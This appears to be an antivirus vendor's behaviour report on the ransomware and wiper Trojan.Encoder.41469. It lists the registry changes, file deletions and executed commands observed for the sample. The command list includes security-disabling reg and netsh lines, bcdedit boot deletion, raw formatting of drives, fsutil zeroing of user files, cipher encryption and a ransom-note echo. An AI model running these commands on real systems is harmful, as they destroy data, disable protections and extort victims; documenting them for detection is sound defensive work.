Trojan.Encoder.41469

Technical Information

To ensure autorun and distribution

Sets the following service settings

[HKLM\System\CurrentControlSet\Services\EFS] 'Start' = '00000002'
[HKLM\System\CurrentControlSet\Services\IKEEXT] 'Start' = '00000002'

Modifies master boot record (MBR).

Malicious functions

To bypass firewall, removes or modifies the following registry keys

[HKLM\SYSTEM\CurrentControlSet\Services\SharedAccess\Parameters\FirewallPolicy\DomainProfile] 'EnableFirewall' = '00000000'
[HKLM\SYSTEM\CurrentControlSet\Services\SharedAccess\Parameters\FirewallPolicy\StandardProfile] 'EnableFirewall' = '00000000'

To complicate detection of its presence in the operating system,

blocks execution of the following system utilities:

Windows Task Manager (Taskmgr)
Registry Editor (RegEdit)
Windows Defender

blocks the following features:

System Restore (SR)
User Account Control (UAC)

Executes the following

'<SYSTEM32>\netsh.exe' advfirewall set allprofiles state off

Launches a large number of processes

Modifies file system

Creates the following files

%APPDATA%\microsoft\crypto\rsa\s-1-5-21-3691498038-2086406363-2140527554-1000\2dfc3c2d26c8101ca334d11f42e1b3e1_0cb67e2f-dc95-45ca-8fb8-69bde8e3f814
%APPDATA%\microsoft\systemcertificates\my\certificates\3b9f9902d70c6607df363b4f819c060a592a766f
C:\system volume information\efs0.log
%HOMEPATH%\desktop\efs0.tmp
%HOMEPATH%\desktop\ransom_note.txt
%HOMEPATH%\documents\ransom_note.txt
%HOMEPATH%\pictures\ransom_note.txt
%HOMEPATH%\downloads\ransom_note.txt
%HOMEPATH%\music\ransom_note.txt
%HOMEPATH%\videos\ransom_note.txt
%LOCALAPPDATA%\efs0.tmp
%LOCALAPPDATA%\google\chrome\application\efs0.tmp
%LOCALAPPDATA%\google\chrome\application\42.0.2311.135\efs0.tmp

Deletes the following files

<SYSTEM32>\aspnet_counters.dll
<DRIVERS>\compbatt.sys
<DRIVERS>\crcdisk.sys
<DRIVERS>\dmvsc.sys
<DRIVERS>\e1g6032e.sys
<DRIVERS>\elxstor.sys
<DRIVERS>\errdev.sys
<DRIVERS>\evbda.sys
<DRIVERS>\flpydisk.sys
<DRIVERS>\gagp30kx.sys
<DRIVERS>\hcw85cir.sys
<DRIVERS>\amdk8.sys
<DRIVERS>\hidbatt.sys
<DRIVERS>\hidir.sys
<DRIVERS>\hpsamd.sys
<DRIVERS>\iastorv.sys
<DRIVERS>\iirsp.sys
<DRIVERS>\intelide.sys
<DRIVERS>\ipmidrv.sys
<DRIVERS>\isapnp.sys
<DRIVERS>\kbdhid.sys
<DRIVERS>\lsi_fc.sys
<DRIVERS>\lsi_sas.sys
<DRIVERS>\lsi_sas2.sys
<DRIVERS>\bxvbda.sys
<DRIVERS>\hidbth.sys
<DRIVERS>\cmdide.sys
<DRIVERS>\circlass.sys
<DRIVERS>\bthmodem.sys
<DRIVERS>\brusbser.sys
<SYSTEM32>\vmstorfltres.dll
<SYSTEM32>\windowsaccessbridge-64.dll
<DRIVERS>\1394bus.sys
<DRIVERS>\1394ohci.sys
<DRIVERS>\acpipmi.sys
<DRIVERS>\adp94xx.sys
<DRIVERS>\adpahci.sys
<DRIVERS>\adpu320.sys
<DRIVERS>\agp440.sys
<DRIVERS>\aliide.sys
<DRIVERS>\lsi_scsi.sys
<DRIVERS>\amdide.sys
<SYSTEM32>\vmdcoinstall.dll
<DRIVERS>\amdppm.sys
<DRIVERS>\amdsbs.sys
<DRIVERS>\amdxata.sys
<DRIVERS>\arc.sys
<DRIVERS>\arcsas.sys
<DRIVERS>\b57nd60a.sys
<DRIVERS>\blbdrive.sys
<DRIVERS>\brfiltlo.sys
<DRIVERS>\brfiltup.sys
<DRIVERS>\brserid.sys
<DRIVERS>\brserwdm.sys
<SYSTEM32>\vmicres.dll
<DRIVERS>\brusbmdm.sys
<DRIVERS>\amdsata.sys
<SYSTEM32>\vmictimeprovider.dll
<DRIVERS>\megasas.sys
<DRIVERS>\msahci.sys
<DRIVERS>\tsusbgd.sys
<DRIVERS>\tsusbhub.sys
<DRIVERS>\uagp35.sys
<DRIVERS>\uliagpkx.sys
<DRIVERS>\umpass.sys
<DRIVERS>\usbccgp.sys
<DRIVERS>\usbcir.sys
<DRIVERS>\usbehci.sys
<DRIVERS>\usbprint.sys
<DRIVERS>\usbstor.sys
<DRIVERS>\usbuhci.sys
<DRIVERS>\storvsc.sys
<DRIVERS>\vhdmp.sys
<DRIVERS>\vmbus.sys
<DRIVERS>\vmbushid.sys
<DRIVERS>\vms3cap.sys
<DRIVERS>\vmstorfl.sys
<DRIVERS>\vsmraid.sys
<DRIVERS>\wacompen.sys
<DRIVERS>\wd.sys
<DRIVERS>\winhv.sys
<DRIVERS>\wmiacpi.sys
<SYSTEM32>\mpsigstub.exe
<SYSTEM32>\vmicsvc.exe
<DRIVERS>\synth3dvsc.sys
<DRIVERS>\terminpt.sys
<DRIVERS>\swenum.sys
<DRIVERS>\stexstor.sys
%LOCALAPPDATA%\google\chrome\application\efs0.tmp
<DRIVERS>\msdsm.sys
<DRIVERS>\msiscsi.sys
<DRIVERS>\mtconfig.sys
<DRIVERS>\nfrd960.sys
<DRIVERS>\nvraid.sys
<DRIVERS>\nvstor.sys
<DRIVERS>\nv_agp.sys
<DRIVERS>\ohci1394.sys
<DRIVERS>\parport.sys
<DRIVERS>\pciide.sys
<DRIVERS>\megasr.sys
<DRIVERS>\mpio.sys
<DRIVERS>\monitor.sys
<DRIVERS>\pcmcia.sys
<DRIVERS>\sbp2port.sys
<DRIVERS>\secdrv.sys
<DRIVERS>\serenum.sys
<DRIVERS>\serial.sys
<DRIVERS>\sffdisk.sys
<DRIVERS>\sffp_mmc.sys
<DRIVERS>\sffp_sd.sys
<DRIVERS>\sfloppy.sys
<DRIVERS>\sisraid2.sys
<DRIVERS>\sisraid4.sys
<DRIVERS>\processr.sys
<DRIVERS>\ql2300.sys
<DRIVERS>\ql40xx.sys
<SYSTEM32>\vmbusres.dll
<SYSTEM32>\vmbuspipe.dll
<SYSTEM32>\vmbuscoinstaller.dll
<SYSTEM32>\mfc110esn.dll
<SYSTEM32>\mfc110fra.dll
<SYSTEM32>\mfc110ita.dll
<SYSTEM32>\mfc110jpn.dll
<SYSTEM32>\mfc110kor.dll
<SYSTEM32>\mfc110rus.dll
<SYSTEM32>\mfc110u.dll
<SYSTEM32>\mfc120.dll
<SYSTEM32>\mfc120chs.dll
<SYSTEM32>\mfc120cht.dll
<SYSTEM32>\mfc120deu.dll
<SYSTEM32>\mfc140esn.dll
<SYSTEM32>\mfc120enu.dll
<SYSTEM32>\mfc120fra.dll
<SYSTEM32>\mfc120ita.dll
<SYSTEM32>\mfc120jpn.dll
<SYSTEM32>\mfc120kor.dll
<SYSTEM32>\mfc120rus.dll
<SYSTEM32>\mfc120u.dll
<SYSTEM32>\mfc140.dll
<SYSTEM32>\mfc140chs.dll
<SYSTEM32>\mfc140cht.dll
<SYSTEM32>\mfc140deu.dll
<SYSTEM32>\mfc110cht.dll
<SYSTEM32>\mfc110chs.dll
<SYSTEM32>\mfc110enu.dll
<SYSTEM32>\mfc110.dll
<SYSTEM32>\mfc100u.dll
<SYSTEM32>\atl100.dll
%HOMEPATH%\desktop\efs0.tmp
C:\system volume information\efs0.log
<SYSTEM32>\brcoinst.dll
<SYSTEM32>\circoinst.dll
<SYSTEM32>\concrt140.dll
<SYSTEM32>\concrt140d.dll
<SYSTEM32>\dll64.dll
<SYSTEM32>\dmvscres.dll
<SYSTEM32>\fm20.dll
<SYSTEM32>\fm20enu.dll
<SYSTEM32>\mfc140enu.dll
<SYSTEM32>\iccoinstall.dll
<SYSTEM32>\mfc120esn.dll
%LOCALAPPDATA%\efs0.tmp
<SYSTEM32>\mfc100chs.dll
<SYSTEM32>\mfc100cht.dll
<SYSTEM32>\mfc100deu.dll
<SYSTEM32>\mfc100enu.dll
<SYSTEM32>\mfc100esn.dll
<SYSTEM32>\mfc100fra.dll
<SYSTEM32>\mfc100ita.dll
<SYSTEM32>\mfc100jpn.dll
<SYSTEM32>\mfc100kor.dll
<SYSTEM32>\mfc100rus.dll
<SYSTEM32>\iscsilog.dll
<SYSTEM32>\atl110.dll
<SYSTEM32>\mfc100.dll
<SYSTEM32>\mfc110deu.dll
<SYSTEM32>\mfc140fra.dll
<SYSTEM32>\msvcr100_clr0400.dll
<SYSTEM32>\msvcr110d.dll
<SYSTEM32>\msvcr120.dll
<SYSTEM32>\msvcr120d.dll
<SYSTEM32>\msvcr90d.dll
%LOCALAPPDATA%\google\chrome\application\42.0.2311.135\efs0.tmp
<SYSTEM32>\streamci.dll
<SYSTEM32>\ucrtbased.dll
<SYSTEM32>\vbame.dll
<SYSTEM32>\vcamp110.dll
<SYSTEM32>\vcamp120.dll
<SYSTEM32>\msvcr100d.dll
<SYSTEM32>\mfc140ita.dll
<SYSTEM32>\msvcr110.dll
<SYSTEM32>\vcamp140.dll
<SYSTEM32>\vccorlib120d.dll
<SYSTEM32>\vccorlib140.dll
<SYSTEM32>\vccorlib140d.dll
<SYSTEM32>\vcomp100.dll
<SYSTEM32>\vcomp110.dll
<SYSTEM32>\vcomp120.dll
<SYSTEM32>\vcomp140.dll
<SYSTEM32>\vcruntime140.dll
<SYSTEM32>\vcruntime140d.dll
<SYSTEM32>\vcruntime140_1.dll
<SYSTEM32>\vccorlib110.dll
<SYSTEM32>\vccorlib110d.dll
<SYSTEM32>\vccorlib120.dll
<DRIVERS>\viaide.sys
<SYSTEM32>\config\bcd-template
<SYSTEM32>\msvcp140_codecvt_ids.dll
<SYSTEM32>\mfc140kor.dll
<SYSTEM32>\mfc140rus.dll
<SYSTEM32>\mfc140u.dll
<SYSTEM32>\mfcm100.dll
<SYSTEM32>\mfcm100u.dll
<SYSTEM32>\mfcm110.dll
<SYSTEM32>\mfcm110u.dll
<SYSTEM32>\mfcm120.dll
<SYSTEM32>\mfcm120u.dll
<SYSTEM32>\mfcm140.dll
<SYSTEM32>\mfcm140u.dll
<SYSTEM32>\msvcp90d.dll
<SYSTEM32>\msvcr100.dll
<SYSTEM32>\msclmd.dll
<SYSTEM32>\msvcp100.dll
<SYSTEM32>\msvcp100d.dll
<SYSTEM32>\msvcp110.dll
<SYSTEM32>\msvcp110d.dll
<SYSTEM32>\msvcp120.dll
<SYSTEM32>\msvcp120d.dll
<SYSTEM32>\msvcp140.dll
<SYSTEM32>\msvcp140d.dll
<SYSTEM32>\msvcp140_1.dll
<SYSTEM32>\msvcp140_2.dll
<SYSTEM32>\msvcp140_atomic_wait.dll
<SYSTEM32>\mfc140jpn.dll
<SYSTEM32>\msvcm90d.dll
<SYSTEM32>\config\components

Modifies the following files

%HOMEPATH%\desktop\000814251_video_01.avi
%HOMEPATH%\desktop\adhd_and_obesity.docx
%HOMEPATH%\desktop\advice_process.htm
%HOMEPATH%\desktop\browse.htm
%HOMEPATH%\desktop\correct.avi
%HOMEPATH%\desktop\cveuropeo.doc
%HOMEPATH%\desktop\google chrome.lnk
%HOMEPATH%\desktop\telegram.lnk
%LOCALAPPDATA%\google\chrome\application\debug.log
%LOCALAPPDATA%\google\chrome\application\42.0.2311.135\42.0.2311.135.manifest

Substitutes the following files

C:\system volume information\efs0.log
%HOMEPATH%\desktop\efs0.tmp
%LOCALAPPDATA%\google\chrome\application\efs0.tmp
%LOCALAPPDATA%\google\chrome\application\42.0.2311.135\efs0.tmp

Modifies user data files (Trojan.Encoder).

Network activity

UDP

'localhost':62126
'localhost':58881

Miscellaneous

Executes the following

'<SYSTEM32>\cmd.exe' /c cipher /E /A /S:%HOMEPATH%\Desktop
'<SYSTEM32>\cipher.exe' /E /A /S:%HOMEPATH%\AppData
'<SYSTEM32>\cmd.exe' /c cipher /E /A /S:%HOMEPATH%\AppData
'<SYSTEM32>\cmd.exe' /c echo YOUR FILES HAVE BEEN ENCRYPTED! Send 5 BTC to unlock. Your personal files, photos, and memories are gone forever unless you pay. > %HOMEPATH%\Videos\RANSOM_NOTE.txt
'<SYSTEM32>\cipher.exe' /E /A /S:%HOMEPATH%\Videos
'<SYSTEM32>\cmd.exe' /c cipher /E /A /S:%HOMEPATH%\Videos
'<SYSTEM32>\cmd.exe' /c echo YOUR FILES HAVE BEEN ENCRYPTED! Send 5 BTC to unlock. Your personal files, photos, and memories are gone forever unless you pay. > %HOMEPATH%\Music\RANSOM_NOTE.txt
'<SYSTEM32>\cipher.exe' /E /A /S:%HOMEPATH%\Music
'<SYSTEM32>\cmd.exe' /c cipher /E /A /S:%HOMEPATH%\Music
'<SYSTEM32>\cmd.exe' /c echo YOUR FILES HAVE BEEN ENCRYPTED! Send 5 BTC to unlock. Your personal files, photos, and memories are gone forever unless you pay. > %HOMEPATH%\Downloads\RANSOM_NOTE.txt
'<SYSTEM32>\bcdedit.exe' /delete {current} /f
'<SYSTEM32>\cipher.exe' /E /A /S:%HOMEPATH%\Downloads
'<SYSTEM32>\cmd.exe' /c echo YOUR FILES HAVE BEEN ENCRYPTED! Send 5 BTC to unlock. Your personal files, photos, and memories are gone forever unless you pay. > %HOMEPATH%\Pictures\RANSOM_NOTE.txt
'<SYSTEM32>\cipher.exe' /E /A /S:%HOMEPATH%\Pictures
'<SYSTEM32>\cmd.exe' /c cipher /E /A /S:%HOMEPATH%\Pictures
'<SYSTEM32>\cmd.exe' /c echo YOUR FILES HAVE BEEN ENCRYPTED! Send 5 BTC to unlock. Your personal files, photos, and memories are gone forever unless you pay. > %HOMEPATH%\Documents\RANSOM_NOTE.txt
'<SYSTEM32>\cipher.exe' /E /A /S:%HOMEPATH%\Documents
'<SYSTEM32>\cmd.exe' /c cipher /E /A /S:%HOMEPATH%\Documents
'<SYSTEM32>\cmd.exe' /c echo YOUR FILES HAVE BEEN ENCRYPTED! Send 5 BTC to unlock. Your personal files, photos, and memories are gone forever unless you pay. > %HOMEPATH%\Desktop\RANSOM_NOTE.txt
'<SYSTEM32>\cmd.exe' /c netsh advfirewall set allprofiles state off
'<SYSTEM32>\reg.exe' add "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender" /v DisableAntiSpyware /t REG_DWORD /d 1 /f
'<SYSTEM32>\cmd.exe' /c cipher /E /A /S:%HOMEPATH%\Downloads
'<SYSTEM32>\cmd.exe' /c reg add "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender" /v DisableAntiSpyware /t REG_DWORD /d 1 /f
'<SYSTEM32>\cmd.exe' /c reg add HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System /v EnableLUA /t REG_DWORD /d 0 /f
'<SYSTEM32>\cmd.exe' /c reg add "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Setup\RecoveryConsole" /v SecurityLevel /t REG_DWORD /d 0 /f
'<SYSTEM32>\cmd.exe' /c del /F /Q /S C:\Recovery\*.*
'<SYSTEM32>\cmd.exe' /c del /F /Q <SYSTEM32>\config\*.*
'<SYSTEM32>\cmd.exe' /c del /F /Q %WINDIR%\regedit.exe
'<SYSTEM32>\cmd.exe' /c del /F /Q %WINDIR%\explorer.exe
'<SYSTEM32>\cmd.exe' /c del /F /Q <SYSTEM32>\*.exe
'<SYSTEM32>\cmd.exe' /c del /F /Q <DRIVERS>\*.sys
'<SYSTEM32>\bcdedit.exe' /set {default} bootstatuspolicy ignoreallfailures
'<SYSTEM32>\cmd.exe' /c bcdedit /set {default} bootstatuspolicy ignoreallfailures
'<SYSTEM32>\cmd.exe' /c bcdedit /set {default} recoveryenabled No
'<SYSTEM32>\cmd.exe' /c sc stop wuauserv
'<SYSTEM32>\reg.exe' add HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System /v EnableLUA /t REG_DWORD /d 0 /f
'<SYSTEM32>\reg.exe' add "HKLM\SOFTWARE\Policies\Microsoft\Windows NT\SystemRestore" /v DisableSR /t REG_DWORD /d 1 /f
'<SYSTEM32>\cmd.exe' /c reg add "HKLM\SOFTWARE\Policies\Microsoft\Windows NT\SystemRestore" /v DisableSR /t REG_DWORD /d 1 /f
'<SYSTEM32>\reg.exe' add HKCU\Software\Microsoft\Windows\CurrentVersion\Policies\System /v DisableRegistryTools /t REG_DWORD /d 1 /f
'<SYSTEM32>\cmd.exe' /c reg add HKCU\Software\Microsoft\Windows\CurrentVersion\Policies\System /v DisableRegistryTools /t REG_DWORD /d 1 /f
'<SYSTEM32>\reg.exe' add HKCU\Software\Microsoft\Windows\CurrentVersion\Policies\System /v DisableTaskMgr /t REG_DWORD /d 1 /f
'<SYSTEM32>\cmd.exe' /c reg add HKCU\Software\Microsoft\Windows\CurrentVersion\Policies\System /v DisableTaskMgr /t REG_DWORD /d 1 /f
'<SYSTEM32>\sc.exe' config wuauserv start=disabled
'<SYSTEM32>\cmd.exe' /c sc config wuauserv start=disabled
'<SYSTEM32>\sc.exe' stop wuauserv
'<SYSTEM32>\reg.exe' add "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Setup\RecoveryConsole" /v SecurityLevel /t REG_DWORD /d 0 /f
'<SYSTEM32>\cmd.exe' /c bcdedit /delete {current} /f
'<SYSTEM32>\format.com' E: /fs:raw /q /y
'<SYSTEM32>\cmd.exe' /c format E: /fs:raw /q /y
'<SYSTEM32>\fsutil.exe' file setZeroData offset=0 length=999999999 "%HOMEPATH%\Desktop\default.bmp"
'<SYSTEM32>\bcdedit.exe' /delete {default} /f
'<SYSTEM32>\fsutil.exe' file setZeroData offset=0 length=999999999 "%HOMEPATH%\Desktop\dashBorder_96.bmp"
'<SYSTEM32>\cmd.exe' /c bcdedit /delete {default} /f
'<SYSTEM32>\fsutil.exe' file setZeroData offset=0 length=999999999 "%HOMEPATH%\Desktop\cveuropeo.doc"
'<SYSTEM32>\efsui.exe' /efs /keybackup
'<SYSTEM32>\bcdedit.exe' /delete {bootmgr} /f
'<SYSTEM32>\fsutil.exe' file setZeroData offset=0 length=999999999 "%HOMEPATH%\Desktop\correct.avi"
'<SYSTEM32>\fsutil.exe' file setZeroData offset=0 length=999999999 "%HOMEPATH%\Desktop\dial.bmp"
'<SYSTEM32>\fsutil.exe' file setZeroData offset=0 length=999999999 "%HOMEPATH%\Desktop\chromesetup.exe"
'<SYSTEM32>\fsutil.exe' file setZeroData offset=0 length=999999999 "%HOMEPATH%\Desktop\browse.htm"
'<SYSTEM32>\fsutil.exe' file setZeroData offset=0 length=999999999 "%HOMEPATH%\Desktop\advice_process.htm"
'<SYSTEM32>\cmd.exe' /c del /F /Q C:\bootmgr
'<SYSTEM32>\fsutil.exe' file setZeroData offset=0 length=999999999 "%HOMEPATH%\Desktop\adhd_and_obesity.docx"
'<SYSTEM32>\fsutil.exe' file setZeroData offset=0 length=999999999 "%HOMEPATH%\Desktop\000814251_video_01.avi"
'<SYSTEM32>\cipher.exe' /E /A /S:%HOMEPATH%\Desktop
'<SYSTEM32>\cmd.exe' /c for /r "%HOMEPATH%\Desktop" %x in (*) do fsutil file setZeroData offset=0 length=999999999 "%x"
'<SYSTEM32>\cmd.exe' /c del /F /Q <SYSTEM32>\*.dll
'<SYSTEM32>\cmd.exe' /c del /F /Q <SYSTEM32>\winload.exe
'<SYSTEM32>\cmd.exe' /c bcdedit /delete {bootmgr} /f
'<SYSTEM32>\fsutil.exe' file setZeroData offset=0 length=999999999 "%HOMEPATH%\Desktop\fi51.doc"
'<SYSTEM32>\fsutil.exe' file setZeroData offset=0 length=999999999 "%HOMEPATH%\Desktop\delete.avi"
'<SYSTEM32>\cmd.exe' /c mountvol X: /s
'<SYSTEM32>\format.com' D: /fs:raw /q /y
'<SYSTEM32>\fsutil.exe' file setZeroData offset=0 length=999999999 "%HOMEPATH%\Desktop\utorrent.exe"
'<SYSTEM32>\cmd.exe' /c format D: /fs:raw /q /y
'<SYSTEM32>\cmd.exe' /c for /r "%HOMEPATH%\Videos" %x in (*) do fsutil file setZeroData offset=0 length=999999999 "%x"
'<SYSTEM32>\cmd.exe' /c for /r "%HOMEPATH%\Music" %x in (*) do fsutil file setZeroData offset=0 length=999999999 "%x"
'<SYSTEM32>\cmd.exe' /c for /r "%HOMEPATH%\Downloads" %x in (*) do fsutil file setZeroData offset=0 length=999999999 "%x"
'<SYSTEM32>\format.com' C: /fs:raw /q /y
'<SYSTEM32>\cmd.exe' /c for /r "%HOMEPATH%\Pictures" %x in (*) do fsutil file setZeroData offset=0 length=999999999 "%x"
'<SYSTEM32>\cmd.exe' /c for /r "%HOMEPATH%\Documents" %x in (*) do fsutil file setZeroData offset=0 length=999999999 "%x"
'<SYSTEM32>\cmd.exe' /c format C: /fs:raw /q /y
'<SYSTEM32>\mountvol.exe' X: /d
'<SYSTEM32>\fsutil.exe' file setZeroData offset=0 length=999999999 "%HOMEPATH%\Desktop\thlps_keeper_mayer_1965.docx"
'<SYSTEM32>\fsutil.exe' file setZeroData offset=0 length=999999999 "%HOMEPATH%\Desktop\Google Chrome.lnk"
'<SYSTEM32>\cmd.exe' /c mountvol X: /d
'<SYSTEM32>\fsutil.exe' file setZeroData offset=0 length=999999999 "%HOMEPATH%\Desktop\testEE.cer"
'<SYSTEM32>\cmd.exe' /c del /F /Q X:\EFI\Microsoft\Boot\*.*
'<SYSTEM32>\fsutil.exe' file setZeroData offset=0 length=999999999 "%HOMEPATH%\Desktop\TestCertificate.cer"
'<SYSTEM32>\fsutil.exe' file setZeroData offset=0 length=999999999 "%HOMEPATH%\Desktop\Telegram.lnk"
'<SYSTEM32>\fsutil.exe' file setZeroData offset=0 length=999999999 "%HOMEPATH%\Desktop\split.avi"
'<SYSTEM32>\fsutil.exe' file setZeroData offset=0 length=999999999 "%HOMEPATH%\Desktop\pmd.cer"
'<SYSTEM32>\mountvol.exe' X: /s
'<SYSTEM32>\fsutil.exe' file setZeroData offset=0 length=999999999 "%HOMEPATH%\Desktop\ovp25012015.doc"
'<SYSTEM32>\cmd.exe' /c del /F /Q <SYSTEM32>\restore\*.*
'<SYSTEM32>\cmd.exe' /c del /F /Q %WINDIR%\repair\*.*

TECHNOLOGIES

TERMINOLOGIE

COURS ET EDU

MYTHES

Technical Information

Recommandations pour le traitement

Free trial